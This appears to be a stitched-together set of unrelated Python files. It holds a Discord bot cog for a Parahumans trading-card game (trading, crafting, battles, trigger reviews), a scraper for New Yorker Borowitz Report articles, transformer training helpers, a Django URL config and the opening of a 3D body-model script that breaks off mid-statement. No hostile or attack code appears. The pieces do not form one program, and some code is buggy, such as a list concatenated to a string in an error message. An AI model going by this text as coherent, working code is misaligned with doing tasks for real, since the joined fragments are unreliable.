        if len(args) == 0:
            # Let's display all cards
            messages = (await self.messagify_ownership(owner, self.capelist))
            for i in messages:
                await ctx.send(i)
        else:
            name = ""
            for i in args:
                name += "{} ".format(i)
            name = name[:-1]
            capes_owned = []
            for i in self.trading[owner]:
                if i.name.lower() == name.lower():
                    return await self.view_card(ctx, i)
                if not i.name in capes_owned:
                    capes_owned += [ i.name ]

            closestCapes = difflib.get_close_matches(name, capes_owned)
            if len(closestCapes) > 1:
                await ctx.send("That cape could not be found, did you mean one of: " + closestCapes)
            elif len(closestCapes) == 1:
                await ctx.send("That cape could not be found, did you mean " + closestCapes[0])
            else:
                await ctx.send("You don't own that that card!")

    async def get_cape(self, name):
        for i in self.capelist:
            if i.name.lower() == name.lower():
                return i

    async def at_to_id(self, at):
        at = at.replace("<", "")
        at = at.replace("@", "")
        at = at.replace("!", "")
        at = at.replace(">", "")
        return at.strip()

    async def has_cards(self, user, cards):
        # Cards comes in as an array of strings
        if len(cards) == 0:
            # You always have some of nothing!
            return True
        if user not in self.trading:
            # Can't have the required cards if they have nothing
            return False
        card_dict = {}
        for i in self.trading[user]:
            if not i.name.lower() in card_dict:
                card_dict[i.name.lower()] = 0
            card_dict[i.name.lower()] += 1
        for i in cards:
            if i.lower() in card_dict and card_dict[i.lower()] > 0:
                card_dict[i.lower()] -= 1
            else:
                return False

        return True

    async def trade(self, ctx, user, subaction, *args):
        if len(args) > 0 and (await self.at_to_id(args[0])) == user:
            await ctx.send("Trading with yourself just don't make sense...")
            return
        if subaction ==  "help":
            message = "**Trading commands:**\n```"
            message += "%tc trade offer @username [Card you have, Another card you have] [Card they have, another card they have] - Make an offer to someone\n"
            message += "%tc trade view - View all open trades you have\n"
            message += "%tc trade view @username - View an offer someone has made/you have made to them\n"
            message += "%tc trade cancel @username - Cancel a trade you have with someone\n"
            message += "%tc trade reject @username - Reject a trade someone has made to you\n"
            message += "%tc trade accept @username - Accept an open trade you have with someone\n"
            message += "```"
            await ctx.send(message)
        elif subaction == "offer":
            if args[0] == "help":
                message = "Specify who you want to trade with, your offer in parenthesis, then what you want back\n"
                message += "`    %tc trade offer @someperson [My Card, My Other Card] [Their Card, Another of their cards, a third card of theirs]`"
                await ctx.send(message)
                return

            # First arg will be a person
            request_to_id = (await self.at_to_id(args[0]))
            # Make sure an existing offer with them doesn't already exist
            if (user in self.trades and request_to_id in self.trades[user]) or (request_to_id in self.trades and user in self.trades[request_to_id]):
                await ctx.send("Already have a trade proposed with them! Will have to cancel or reject trade to start a new one.")
                await self.trade(ctx, user, "view", *args[0:1])
                return
            offers = ""
            for i in args[1:]:
                offers += i + " "

            offer, desire, nil = offers.split("]")
            nil, offer = offer.split("[")
            offer = offer.split(",")
            nil, desire = desire.split("[")
            desire = desire.split(",")

            if len(offer) == 1 and offer[0] == "":
                offer = []
            if len(desire) == 1 and desire[0] == "":
                desire = []
            if len(offer) == 0 and len(desire) == 0:
                await ctx.send("You can't trade nothing for nothing, that's just silly")
                return

            for i in range(0, len(offer)):
                offer[i] = offer[i].strip()

            for i in range(0, len(desire)):
                desire[i] = desire[i].strip()

            # Check whether they even both have the required cards
            if not (await self.has_cards(user, offer)):
                await ctx.send("You do not have the cards required to trade!")
            elif not (await self.has_cards(request_to_id, desire)):
                await ctx.send("They don't have the cards you want!")
            else:
                if not user in self.trades:
                    self.trades[user] = {}
                self.trades[user][request_to_id] = [offer, desire]
                await ctx.send("Offer made")
        elif subaction == "view":
            if len(args) == 0:
                open_offers = ""
                for i in self.trades:
                    if user == i:
                        for j in self.trades[i]:
                            open_offers += "<@!{}>, ".format(j)
                    elif user in self.trades[i]:
                        open_offers += "<@!{}>, ".format(i)
                if open_offers == "":
                    await ctx.send("Don't have any open trades")
                else:
                    await ctx.send("Have open trades with {}".format(open_offers[:-2]))
                return
            request_to_id = (await self.at_to_id(args[0]))
            if user in self.trades and request_to_id in self.trades[user]:
                offer = self.trades[user][request_to_id][0]
                o = "["
                for i in offer:
                    o += i + ", "
                o = o[:-2] + "]"
                if len(offer) == 0:
                    o = "nothing"

                desire = self.trades[user][request_to_id][1]
                d = "["
                for i in desire:
                    d += i + ", "
                d = d[:-2] + "]"
                if len(desire) == 0:
                    d = "nothing"

                message = "You offered to trade {} for their {}\nYou can cancel this trade with `%tc trade cancel @username`".format(o, d)
                await ctx.send(message)
            elif request_to_id in self.trades and user in self.trades[request_to_id]:
                offer = self.trades[request_to_id][user][0]
                o = "["
                for i in offer:
                    o += i + ", "
                o = o[:-2] + "]"
                if len(offer) == 0:
                    o = "nothing"

                desire = self.trades[request_to_id][user][1]
                d = "["
                for i in desire:
                    d += i + ", "
                d = d[:-2] + "]"
                if len(desire) == 0:
                    d = "nothing"

                message = "They offered to trade {} for your {}\nYou can reject this trade with `%tc trade reject @username`".format(o, d)
                await ctx.send(message)
            else:
                await ctx.send("Found no trade offer between the two of you")
        elif subaction == "accept":
            request_to_id = (await self.at_to_id(args[0]))
            if request_to_id in self.trades and user in self.trades[request_to_id]:
                offer = self.trades[request_to_id][user][0]
                desire = self.trades[request_to_id][user][1]
                if not (await self.has_cards(request_to_id, offer)):
                    await ctx.send("They no longer have the required cards! Trade cancelled")
                    del self.trades[request_to_id][user]
                elif not (await self.has_cards(user, desire)):
                    await ctx.send("You no longer have the required cards! Trade cancelled")
                    del self.trades[request_to_id][user]
                else:
                    offer_indexes = []
                    for i in offer:
                        cape = await self.get_cape(i)
                        self.trading[request_to_id].remove(cape)
                        self.trading[user] += [cape]
                        offer_indexes += [ self.capelist.index(cape) ]

                    await sheets.move_card_owner(request_to_id, user, offer_indexes)

                    desire_indexes = []
                    for i in desire:
                        cape = await self.get_cape(i)
                        self.trading[user].remove(cape)
                        self.trading[request_to_id] += [cape]
                        desire_indexes += [ self.capelist.index(cape) ]

                    await sheets.move_card_owner(user, request_to_id, desire_indexes)

                    await ctx.send("Trade made!")
                    del self.trades[request_to_id][user]
                    return
            else:
                await ctx.send("They haven't sent you a trade")
        elif subaction == "reject" or subaction == "cancel":
            request_to_id = (await self.at_to_id(args[0]))
            if user in self.trades and request_to_id in self.trades[user]:
                del self.trades[user][request_to_id]
                await ctx.send("Trade cancelled")
            elif request_to_id in self.trades and user in self.trades[request_to_id]:
                del self.trades[request_to_id][user]
                await ctx.send("Trade rejected")
            else:
                await ctx.send("Found no trade offer between the two of you")

    async def filter(self, ctx, user, *args):
        s = ""
        for i in args:
            s += i + " "
        s = s[:-1]
        categories = [
            "mover", "shaker", "brute", "breaker", "master", "tinker",
            "blaster", "thinker", "striker", "changer", "trump", "stranger"
        ]
        relevant = []
        if s.lower() in ["s", "a", "b", "c"]:
            for i in self.capelist:
                if i.tier.lower() == s.lower():
                    relevant += [i]
            messages = (await self.messagify_ownership(user, relevant, "{} Tier".format(s.upper())))

        elif s.lower() in categories:
            for i in self.capelist:
                if s.lower() in i.classification.lower():
                    relevant += [i]
            messages = (await self.messagify_ownership(user, relevant, "{} Capes".format(s)))
        elif s.lower() in ["pc", "npc"]:
            for i in self.capelist:
                if i.pc.lower() == s.lower():
                    relevant += [i]
            messages = (await self.messagify_ownership(user, relevant, "{} Capes".format(s)))
        elif s.lower() in ["hero", "villain", "rogue"]:
            for i in self.capelist:
                if i.alignment.lower() == s.lower():
                    relevant += [i]
            messages = (await self.messagify_ownership(user, relevant, "{} Aligned".format(s)))
        else:
            # We're filtering by affiliation or campaign
            for i in self.capelist:
                if i.affiliation.lower() == s.lower():
                    relevant += [i]
            if len(relevant) > 0:
                messages = (await self.messagify_ownership(user, relevant, "{} Affiliates".format(s)))
            else:
                for i in self.capelist:
                    if i.campaign.lower() == s.lower():
                        relevant += [i]
                if len(relevant) > 0:
                    messages = (await self.messagify_ownership(user, relevant, "{} Campaign".format(s)))
                else:
                    for i in self.capelist:
                        if s.lower() in i.name.lower():
                            relevant += [i]
                    if len(relevant) > 0:
                        messages = (await self.messagify_ownership(user, relevant, "{} Cape".format(s)))
                    else:
                        messages = ["Could not find any cards that matched the **{}** filter".format(s)]
        for i in messages:
            await ctx.send(i)

    async def grant(self, who, amount):
        if not who in self.bonus_claim:
            self.bonus_claim[who] = 0
        self.bonus_claim[who] += amount

    async def craft(self, ctx, who, *args):
        s = ""
        for i in args:
            s += i + " "
        s = s[:-1]
        if s == "help":
            message = "Pass in three cards you own to craft one of a higher tier. "
            message += "Mixing card tiers spreads your probability of getting an upgraded tier "
            message += "(ie [Tier A, Tier A, Tier C] = 66% chance of Tier S, 33% chance of Tier B).\n"
            message += "`%tc craft [Card 1, Card 2, Card 3]`"
            await ctx.send(message)
            return
        nil,s = s.split("[")
        s,nil = s.split("]")
        c1,c2,c3 = s.split(",")
        c1 = c1.strip()
        c2 = c2.strip()
        c3 = c3.strip()
        my_cards = [c1,c2,c3]
        if not await self.has_cards(who, my_cards):
            await ctx.send("You don't have all those cards available to craft with!")
            return
        upgrade = {"C": "B", "B": "A", "A": "S"}
        roll = []
        cards_to_remove = []
        for i in range(0,len(my_cards)):
            for j in self.capelist:
                if my_cards[i] == j.name:
                    if j.tier == "S":
                        await ctx.send("Can't upgrade from S tier cards")
                        return
                    roll += [upgrade[j.tier]]
                    cards_to_remove += [j]
                    break

        target = roll[random.randrange(0,3)]
        if target == "A":
            await ctx.send("Crafting an **{} Tier** card".format(target))
        else:
            await ctx.send("Crafting a **{} Tier** card".format(target))
        relevant = []
        for i in self.capelist:
            if i.tier == target:
                relevant += [i]
        selection = relevant[random.randrange(0,len(relevant))]
        r_card_index = []
        for i in cards_to_remove:
            self.trading[who].remove(i)
            r_card_index += [self.capelist.index(i)]
        await sheets.remove_cards(who, r_card_index)
        self.trading[who] += [selection]
        await sheets.gain_cards(who, [self.capelist.index(selection)])
        await ctx.send("Crafted **{}** card".format(selection.name))

    async def autocraft(self, ctx, who):
        owned = {}
        for i in self.trading[who]:
            if i.tier == "S":
                # We can't upgrade S tier cards!
                continue
            if i.tier not in owned:
                owned[i.tier] = {}
            if i not in owned[i.tier]:
                owned[i.tier][i] = 0
            owned[i.tier][i] += 1

        crafted = False

        upgrade = {"C": "B", "B": "A", "A": "S"}
        tier_sorted = {}
        gained = {}
        r_card_index = []

        for i in self.capelist:
            if i.tier not in tier_sorted:
                tier_sorted[i.tier] = []
            tier_sorted[i.tier] += [i]

        for tier in owned:
            # We're looking for a collection of three things!
            group = []
            for card in owned[tier]:
                while owned[tier][card] > 1:
                    owned[tier][card] -= 1
                    group += [card]
                    if len(group) == 3:
                        crafted_card = random.choice(tier_sorted[upgrade[tier]])
                        if upgrade[tier] not in gained:
                            gained[upgrade[tier]] = []
                        gained[upgrade[tier]] += [crafted_card]
                        for i in group:
                            r_card_index += [self.capelist.index(i)]
                            self.trading[who].remove(i)
                        crafted = True
                        group = []

        if not crafted:
            await ctx.send("Couldn't find enough duplicate cards to craft together")
        else:
            string = "Auto-crafting complete! Here is what's gotten made: \n"
            for tier in gained:
                r_string = f"**{tier}**:\n> "
                for i in gained[tier]:
                    r_string += f"{i.name}, "
                r_string = r_string[:-2] + "\n"
                if len(string + r_string) > 1999:
                    await ctx.send(string)
                    string = r_string
                else:
                    string += r_string
            await ctx.send(string)
            await sheets.remove_cards(who, r_card_index)
            gain_list = []
            for i in gained:
                self.trading[who] += gained[i]
                for card in gained[i]:
                    gain_list += [self.capelist.index(card)]
            await sheets.gain_cards(who, gain_list)

    async def collection(self, ctx, who, coll="help"):
        collections = ["Tier", "Affiliation", "Alignment", "Campaign", "Classification"]
        if coll.lower() == "help" or coll.capitalize() not in collections:
            await ctx.send(f"Possible collections you can specify are [{', '.join(collections)}]")
            return
        elif coll.lower() == "tier":
            coll_all = { "S": [], "A": [], "B": [], "C": [] }
            for i in self.capelist:
                coll_all[i.tier] += [i]
            owned = { "S": [], "A": [], "B": [], "C": [] }
            for i in self.trading[who]:
                if i not in owned[i.tier]:
                    owned[i.tier] += [i]
        elif coll.lower() == "affiliation":
            coll_all = {}
            owned = {}
            for i in self.capelist:
                if i.affiliation not in coll_all:
                    coll_all[i.affiliation] = []
                    owned[i.affiliation] = []
                coll_all[i.affiliation] += [i]
            for i in self.trading[who]:
                if i not in owned[i.affiliation]:
                    owned[i.affiliation] += [i]
        elif coll.lower() == "alignment":
            coll_all = {}
            owned = {}
            for i in self.capelist:
                if i.alignment not in coll_all:
                    coll_all[i.alignment] = []
                    owned[i.alignment] = []
                coll_all[i.alignment] += [i]
            for i in self.trading[who]:
                if i not in owned[i.alignment]:
                    owned[i.alignment] += [i]
        elif coll.lower() == "campaign":
            coll_all = {}
            owned = {}
            for i in self.capelist:
                if i.campaign not in coll_all:
                    coll_all[i.campaign] = []
                    owned[i.campaign] = []
                coll_all[i.campaign] += [i]
            for i in self.trading[who]:
                if i not in owned[i.campaign]:
                    owned[i.campaign] += [i]
        elif coll.lower() == "classification":
            coll_all = {
                "Mover": [], "Shaker": [], "Brute": [], "Breaker": [],
                "Master": [], "Tinker": [], "Blaster": [], "Thinker": [],
                "Striker": [], "Changer": [], "Trump": [], "Stranger": []
            }
            owned = {
                "Mover": [], "Shaker": [], "Brute": [], "Breaker": [],
                "Master": [], "Tinker": [], "Blaster": [], "Thinker": [],
                "Striker": [], "Changer": [], "Trump": [], "Stranger": []
            }
            for classification in coll_all:
                for i in self.capelist:
                    if classification in i.classification:
                        coll_all[classification] += [i]
                for i in self.trading[who]:
                    if i not in owned[classification] and classification in i.classification:
                        owned[classification] += [i]

        coll_string = []
        for i in sorted(coll_all.keys()):
            if len(owned[i]) != 0:
                coll_string += [ f"**{i}** ({len(owned[i])}/{len(coll_all[i])})"]
        printouts = [f"**{coll.capitalize()}** Collections: \n> {coll_string[0]}"]
        counter = 0
        for i in coll_string[1:]:
            if len(f"{printouts[counter]}, {i}") > 2000:
                counter += 1
                printouts += [f"> {i}"]
            else:
                printouts[counter] += f", {i}"
        for printout in printouts:
            await ctx.send(printout)

    @commands.command()
    async def tc(self, ctx, action, *args):
        '''Do things for the Parahumans server trading card game.
            %tc claim - Claim your daily free card
            %tc view [Card] - View all the cards you own
            %tc filter PC/Campaign/Affiliation/Tier etc. - Filter your cards by some type of card element
            %tc collection help - View the various collections you can view
            %tc submit - Get the link to submit new cards for review
            %tc masterlist - View the existing cape masterlist
            %tc trade [offer/view/accept/reject/cancel/help] @username - Make a trade
            %tc craft [Card 1, Card 2, Card 3] - Craft three cards together into a new one
            %tc autocraft - Automatically craft away duplicates (as long as you have 3 or more in a specific rarity)
        '''
        async with self.lock:
            if action == "unpause" and str(ctx.author.id) == "227834498019098624":
                self.pause = False
                return
            if self.pause:
                # For when developing on a secondary bot
                return
            if not self.cached:
                await ctx.send("Caching things on first run")
                await self.set_local_cache()
            if action == "claim":
                #await ctx.send("Claiming paused while Wellwick experiments with things")
                await self.random_claim(ctx, str(ctx.author.id))
            elif action == "recache" and str(ctx.author.id) == "227834498019098624":
                self.capelist = []
                self.trading = {}
                self.triggers = {}
                self.reviewing = {}
                await self.set_local_cache()
            elif action == "view" or action == "list" or action == "check":
                await self.view(ctx, str(ctx.author.id), *args)
            elif action == "submit":
                await ctx.send("<https://docs.google.com/forms/d/e/1FAIpQLSdntX_uPBSttXxuYlHh_lLszN1YYk248xSBLbuFXiGAQ3PdIA/viewform>")
            elif action == "masterlist":
                await ctx.send("<https://docs.google.com/spreadsheets/d/1PcMDs_zm8xg22IdXl8hoHS8IPF5skX-_GK3djUZSlBw/edit#gid=0>")
            elif action == "trade":
                if len(args) == 0:
                    await ctx.send("Missing trade subcommand (ie offer, accept, reject, view, cancel)")
                else:
                    await self.trade(ctx, str(ctx.author.id), args[0], *args[1:])
            elif action == "offer" and len(args) > 0 and args[1] == "trade":
                await self.trade(ctx, str(ctx.author.id), "offer", *args[1:])
            elif action == "filter":
                await self.filter(ctx, str(ctx.author.id), *args)
            elif action == "pause" and str(ctx.author.id) == "227834498019098624":
                self.pause = True
            elif action == "grant" and str(ctx.author.id) == "227834498019098624":
                who = await self.at_to_id(args[0])
                amount = int(args[1])
                await self.grant(who, amount)
            elif action == "craft":
                await self.craft(ctx, str(ctx.author.id), *args)
            elif action == "autocraft":
                await self.autocraft(ctx, str(ctx.author.id))
            elif action == "collection":
                await self.collection(ctx, str(ctx.author.id), *args)

    async def start_battle(self, battle: Battle):
        for i in battle.teams:
            team = [cape.cape.name for cape in battle.teams[i].team]
            for cape in battle.teams[i].team:
                self.trading[i] += [ cape.cape ]
            await battle.channel.send(f"<@{i}> has brought their team: {', '.join(team)}")
        await battle.channel.send("It's time to fight! PM your strategy for the first round `%battle attack/defend/ambush/flee/stats`")

    async def do_battle_round(self, battle: Battle):
        starting_pools = {}
        gameover = False
        for i in battle.teams:
            starting_pools[i] = battle.teams[i].pool.copy()
        for i in battle.teams:
            for j in battle.teams:
                if j is not i:
                    enemy = battle.teams[j]
            battle.teams[i].make_move(enemy)
        for i in battle.teams:
            new_losses = [x.cape.name for x in battle.teams[i].pool if x not in starting_pools[i]]
            if len(new_losses) > 0:
                await battle.channel.send(f"<@{i}> has lost the capes {', '.join(new_losses)}")
            elif battle.teams[i].damage_taken:
                await battle.channel.send(f"<@{i}> has lost no units this round, but did take damage!")
            else:
                await battle.channel.send(f"<@{i}> has lost no units this round and took no damage!")
            battle.teams[i].new_round()
            if len(battle.teams[i].team) == 0:
                await battle.channel.send(f"<@{i}>'s team has been defeated!")
                gameover = True
            elif battle.teams[i].fled:
                await battle.channel.send(f"<@{i}>'s team has fled!")
                gameover = True

        if gameover:
            await battle.channel.send("That's it, gameover! Thanks for playing.")
            for i in starting_pools:
                del self.battles[i]
        else:
            await battle.channel.send("Time for a new round! PM your strategy `%battle attack/defend/ambush/flee/stats` (check stats for ambush success)")

    @commands.command()
    async def battle(self, ctx, *, args=""):
        '''Begin a battle against another player. Can specify size of game as well.'''
        if not self.cached:
            await ctx.send("Caching things on first run")
            await self.set_local_cache()

        player = str(ctx.author.id)
        if not player in self.battles:
            args = args.split()
            if len(args) == 0:
                args = [""]
            enemy = await self.at_to_id(args[0].strip())
            if len(args) > 1:
                cap = int(args[1])
            else:
                cap = 10
            if not enemy in self.trading:
                await ctx.send("Player not recognised!\nFor now, starting a testing battle")
                self.battles[player] = Battle({player: [], "test": self.capelist[:2]},self.battle_stats, cap=cap, channel=ctx.channel)
                self.battles[player].teams["test"].ready = True
                self.battles[player].teams["test"].move = "Defend"
                return
            else:
                await ctx.send("Starting a battle. Both go add your cards as fighting capes in PMs using `%battle add capename, capename, capename`!")
                self.battles[player] = Battle({player: [], enemy: []}, self.battle_stats, cap=cap, channel=ctx.channel)
                self.battles[enemy] = self.battles[player]
        elif not self.battles[player].started:
            if args.split()[0] == "add":
                splittup = args[4:].split(",")
                capes = []
                for i in splittup:
                    capes += [i.strip()]
                if await self.has_cards(player, capes):
                    for card in capes:
                        cape = await self.get_cape(card)
                        self.trading[player].remove(cape)
                        if not self.battles[player].teams[player].add_cape(cape):
                            await ctx.send(f"Adding {card} exceeds the quota for the team")
                else:
                    await ctx.send(f"You don't have all of those cards!")

                await ctx.send(self.battles[player].teams[player].info_string())
            elif args.split()[0].lower() == "quit" or args.split()[0].lower() == "cancel":
                # Quitting before the game starts!
                await ctx.send("Quitting the game")
                for i in self.battles[player].teams:
                    if i != player:
                        enemy = i
                await self.battles[player].channel.send(f"<@{enemy}>, <@{player}> has cancelled the battle!")
                for bc in self.battles[player].teams[player].team:
                    self.trading[player] += [bc.cape]
                del self.battles[player]
                if enemy in self.battles:
                    for bc in self.battles[enemy].teams[enemy].team:
                        self.trading[enemy] += [bc.cape]
                    del self.battles[enemy]
            elif args.split()[0].lower() == "start" or args.split()[0].lower() == "ready":
                p_team = self.battles[player].teams[player]
                if p_team.cap is not None and p_team.quota() < p_team.cap and not p_team.forcing:
                    p_team.forcing = True
                    await ctx.send("You haven't filled your team to the cap, are you sure you want to start? Resend the command if so!")
                    return
                p_team.ready = True
                if self.battles[player].ready():
                    self.battles[player].started = True
                    await ctx.send("Other player is ready. Game starting!")
                    await self.start_battle(self.battles[player])
                else:
                    await ctx.send("Waiting for other player!")
        elif self.battles[player].started:
            strategy = args.split()[0].lower()
            p_team = self.battles[player].teams[player]
            if strategy == "attack":
                p_team.move = "Attack"
            elif strategy == "defend":
                p_team.move = "Defend"
            elif strategy == "ambush":
                p_team.move = "Ambush"
            elif strategy == "flee":
                p_team.move = "Flee"
            elif strategy == "stats":
                await ctx.send(self.battles[player].teams[player].info_string())
                return
            else:
                await ctx.send("Strategy is not recognised")
                return

            if self.battles[player].do_turn():
                await ctx.send("Starting the new round!")
                await self.do_battle_round(self.battles[player])
            else:
                await ctx.send("Waiting for other player to decide strategy")

    @commands.command()
    async def submit(self, ctx, *, args):
        '''Submit a trigger to the sheet and gain a few cards. Please only submit if putting in actual effort or this feature will be removed/you will be blacklisted.
        If a mistake is made (ie spelling, trigger longer than a discord message can contain) PM Wellwick
        '''
        if not self.cached:
            await ctx.send("Caching things on first run")
            await self.set_local_cache()
        s = args.strip()
        if len(s) == 0:
            await ctx.send("Can't submit an empty trigger")
            return
        elif len(s) > 1850:
            await ctx.send(f"Your trigger is {1850 - len(s)} characters too long!")
            return
        if s in self.triggers:
            await ctx.send("This trigger already exists!")
            return
        self.triggers[s] = [str(ctx.author.id)]
        await sheets.submit_trigger(s, str(ctx.author.id), ctx.author.name)
        await self.grant(str(ctx.author.id),3)
        await ctx.send("Thanks for submitting a trigger. You've earned some bonus cards that you can `%tc claim`")

    @commands.command()
    async def r(self, ctx, subaction, *args):
        '''Do some reviewing of submitted triggers and earn some cards. Is done in PMs!
        %r get - Get a trigger to review
        %r approve - Approve the trigger you are reviewing
        %r critique [criticism] - Add a critique for the trigger
        %r skip - Skip the trigger you are currently reviewing'''
        if not self.cached:
            await ctx.send("Caching things on first run")
            await self.set_local_cache()
        user = str(ctx.author.id)
        if subaction == "get":
            message = ""
            if user in self.reviewing:
                message += "You are already reviewing a trigger\n"
                message += self.reviewing[user]
            else:
                # Randomly select from one they haven't already reviewed
                triggers = []
                for i in self.triggers:
                    if not user in self.triggers[i]:
                        triggers += [i]
                if len(triggers) == 0:
                    await ctx.author.send("You've already reviewed all the triggers available. Great job!")
                    return
                selected = triggers[random.randrange(0,len(triggers))]
                self.reviewing[user] = selected
                message += selected + "\n"
            message += "```%r approve comments - Approve the trigger. Comments optional\n"
            message += "%r critique comments - Critique the trigger\n"
            message += "%r skip - Skip reviewing this trigger```"
            await longpm(ctx, message)
        elif subaction == "approve":
            if not user in self.reviewing:
                await ctx.author.send("You aren't reviewing anything")
                return
            comments = ""
            for i in args:
                comments += i + " "
            comments[:-1]
            trigger = self.reviewing[user]
            self.triggers[trigger] += [user]
            try:
                await sheets.approve_trigger(trigger, user, ctx.author.name, comments)
            except:
                await ctx.send("Looks like this trigger may have changed remotely! Please ping Wellwick to ask for a recache. Skipping trigger")
                self.triggers[self.reviewing[user]] += [user]
                del self.reviewing[user]
                return
            del self.reviewing[user]
            await self.grant(user,1)
            await ctx.author.send("Thanks for reviewing a trigger. You've earned a bonus card that you can `%tc claim`")
        elif subaction == "critique":
            if not user in self.reviewing:
                await ctx.author.send("You aren't reviewing anything")
                return
            comments = ""
            if len(args) == 0:
                await ctx.author.send("You have provided no comments")
                return
            for i in args:
                comments += i + " "
            comments[:-1]
            trigger = self.reviewing[user]
            self.triggers[trigger] += [user]
            try:
                await sheets.critique_trigger(trigger, user, ctx.author.name, comments)
            except:
                await ctx.send("Looks like this trigger may have changed remotely so you can't review it right now, sorry! Please ping Wellwick to ask for a recache. Skipping trigger")
                self.triggers[self.reviewing[user]] += [user]
                del self.reviewing[user]
                return
            del self.reviewing[user]
            await self.grant(user,1)
            await ctx.author.send("Thanks for reviewing a trigger. You've earned a bonus card that you can `%tc claim`")
        elif subaction == "skip":
            if not user in self.reviewing:
                await ctx.author.send("You aren't reviewing anything")
                return
            self.triggers[self.reviewing[user]] += [user]
            del self.reviewing[user]

    @commands.command()
    async def cape(self, ctx, *args):
        '''Provide information on Weaverdice capes in the database.

        Can access the google sheets at https://docs.google.com/spreadsheets/d/1_syrsmptzWG0u3xdY3qzutYToY1t3I8s6yaryIpfckU/edit#gid=1668315016
        '''
        # Search for the cape name
        name = ""
        for arg in args:
            name += arg + " "

        name = name[:-1]
        info = (await sheets.cape(name))
        if info:
            output = "**" + info[0] + "**"
            if len(info) > 5 and not info[5] == "":
                output += " (" + info[5] + ")"
            output += "\n"
            if len(info) > 9 and not info[9] == "":
                output += "> Status: **" + info[9] + "**\n"
            if len(info) > 1 and not info[1] == "":
                output += "> Civilian identity: ||" + info[1] + "||\n"
            if (len(info) > 3 and not info[3] == "") or (len(info) > 4 and not info[4] == ""):
                output += "> Affiliation: " + info[3]
                if len(info) > 4 and (not info[3] == "" and not info[4] == ""):
                    output += ", "
                output += info[4] + "\n"
            if len(info) > 2 and not info[2] == "":
                output += "> Power: " + info[2] + "\n"
            if len(info) > 7 and not info[7] == "":
                output += "> Campaign: **" + info[7] + "**\n"
            if len(info) > 8 and not info[8] == "":
                output += "> Owner: **" + info[8] + "**"
                if len(info) > 6 and not info[6] == "":
                    output += ", " + info[6]
                output += "\n"
            elif len(info) > 6 and not info[6] == "":
                output += "> Unowned, **" + info[6] + "**\n"
            if len(info) > 10 and not info[10] == "":
                output += "> Additional notes: " + info[10]
            await ctx.send(output)
            #await ctx.send(str(info))
        else:
            await ctx.send("Couldn't find cape!")


import requests
import re
import json
from pprint import pprint
from bs4 import BeautifulSoup

session = requests.session()

def article_catch(url_list, i):
    articles = []
    for linkD in url_list:
        article_url = "https://www.newyorker.com"+linkD
        article_page = session.get(article_url)
        Soup = BeautifulSoup(article_page.text, "html.parser")
        time = Soup.find('p', {"class": "ArticleTimestamp__timestamp___1klks "}).text
        main_part = Soup.find(id='articleBody')
        content = ""
        for par in main_part.find_all('p'):
            if content != "":
                content = content + '\n' + par.text
            else:
                content = par.text
        pictimage = Soup.find('div', {'class': 'placeholder-content'})
        if pictimage is not None:
            image = pictimage.find('img').get('src')
        else:
            image = None
            print('None')
        title = Soup.find('h1').text
        dit = {
                'title': title,
                'time': time,
                'content': content,
                'image': image,
        }
        articles.append(dit)
    with open('BorowitzArticles{0}.json'.format(i), 'w+') as f:
        f.write(json.dumps(articles))

def runCityScape():
    url_href_type = re.compile("/humor/borowitz-report/.+")
    for i in range(1, 17):
        url_list = []
        url2scrape = "https://www.newyorker.com/humor/borowitz-report/page/" + str(i)
        Soup = BeautifulSoup(session.get(url2scrape).text, "html.parser")
        # url_class_type = re.compile("Link__link___3dWa\s+")
        for item in Soup.find_all('a', {"href": url_href_type}):
            linkD = item.get('href')
            if linkD not in url_list and '/page/' not in linkD:
                url_list.append(linkD)
        print(i, 'done')
        # with open(file_name, 'w') as final_file:
            # final_file.write(json.dumps(result_set))
        # print("FILE: "+file_name)
        pprint(url_list)
        article_catch(url_list, i)

runCityScape()


import numpy as np
import torch
from torch.nn import functional as F

def adjust_learning_rate(step_num, d_model, warmup_steps):
    step_num += 1e-20
    term1 = np.power(d_model, -0.5)
    term2 = min(np.power(step_num, -0.5), step_num * np.power(warmup_steps, -1.5))

    return term1 * term2

def decode_autoregressive(model, src):
    outputs = torch.ones(size=(src.shape[0],)).reshape(-1, 1) * 2

    if torch.cuda.is_available():
        src = src.to("cuda")
        outputs = outputs.to("cuda")

    for _ in range(src.shape[1]):
        prediction = F.softmax(model(src, outputs), dim=2)
        prediction = torch.argmax(prediction, dim=2)[:, -1]
        outputs = torch.cat((outputs, prediction.view(-1, 1)), dim=-1)

    return outputs[:, 1:]

def translate(data, tokenizer):
    data = data.long().tolist()
    return [tokenizer.DecodeIds(ids) for ids in data]


from django.conf.urls.defaults import *

urlpatterns = patterns('archfinch.account.views',

    url(r'^signup$', 'signup', name='signup'),
    url(r'^logout$', 'logout', name='logout'),

    url(r'^logout/ajax$', 'logout_ajax', name='logout-ajax'),
    url(r'^login/ajax$', 'login_ajax', name='login-ajax'),
    url(r'^signup/ajax$', 'signup_ajax', name='signup-ajax'),

#    (r'^debug/updatesim$', 'update_similarities'),
)

urlpatterns += patterns('',
    url(r'^login$', 'django.contrib.auth.views.login', {'template_name': 'account/login.html'}, name='login'),
    url(r'^loggedout$', 'django.contrib.auth.views.logout', {'template_name': 'account/loggedout.html'}, name='loggedout'),
)


import os
import glob
import torch
import numpy as np

import yaml
import trimesh
from os.path import join

from pytorch3d.ops import sample_farthest_points

from .lib.snarf_model_diffused_skinning import SNARFModelDiffusedSkinning
from .lib.model.helpers import rectify_pose

if __name__ == '__main__':
    opt = {}
    with open(join('configs', 'common.yaml'), 'r') as common_opt_f:
        common_opt = yaml.safe_load(common_opt_f)
        opt.update(common_opt)
    with open(join('configs', f'step2.yaml'), 'r') as step_opt_f:
        step_opt = yaml.safe_load(step_opt_f)
        opt.update(step_opt)

    exp_folder = join(opt['result_folder'], opt['expname'], 'step2-results')
    checkpoint_folder = join(opt['result_folder'], opt['expname'], 'step2-checkpoints')
    checkpoint_path = join(checkpoint_folder, 'checkpoint-latest.pt')

    # set subject info
    subject = opt['datamodule']['subject']
    minimal_body_path = os.path.join(opt['data_templates_path'], subject, f'{subject}_minimal_tpose.ply')
    v_template = np.array(trimesh.load(minimal_body_path, process=False).vertices)
    with open(join(opt['data_templates_path'], 'gender_list.yaml') ,'r') as f:
        gender = yaml.safe_load(f)[subject]
    meta_info = {'v_template': v_template.copy(), 'gender': gender}
    # meta_info = np.load('meta_info.npz')

    model = SNARFModelDiffusedSkinning(opt['model']['soft_blend'],
                                       opt['smpl_model_path'],
                                       opt['model']['pose_conditioning'],
                                       opt['model']['network'],
                                       subject=opt['datamodule']['subject'],
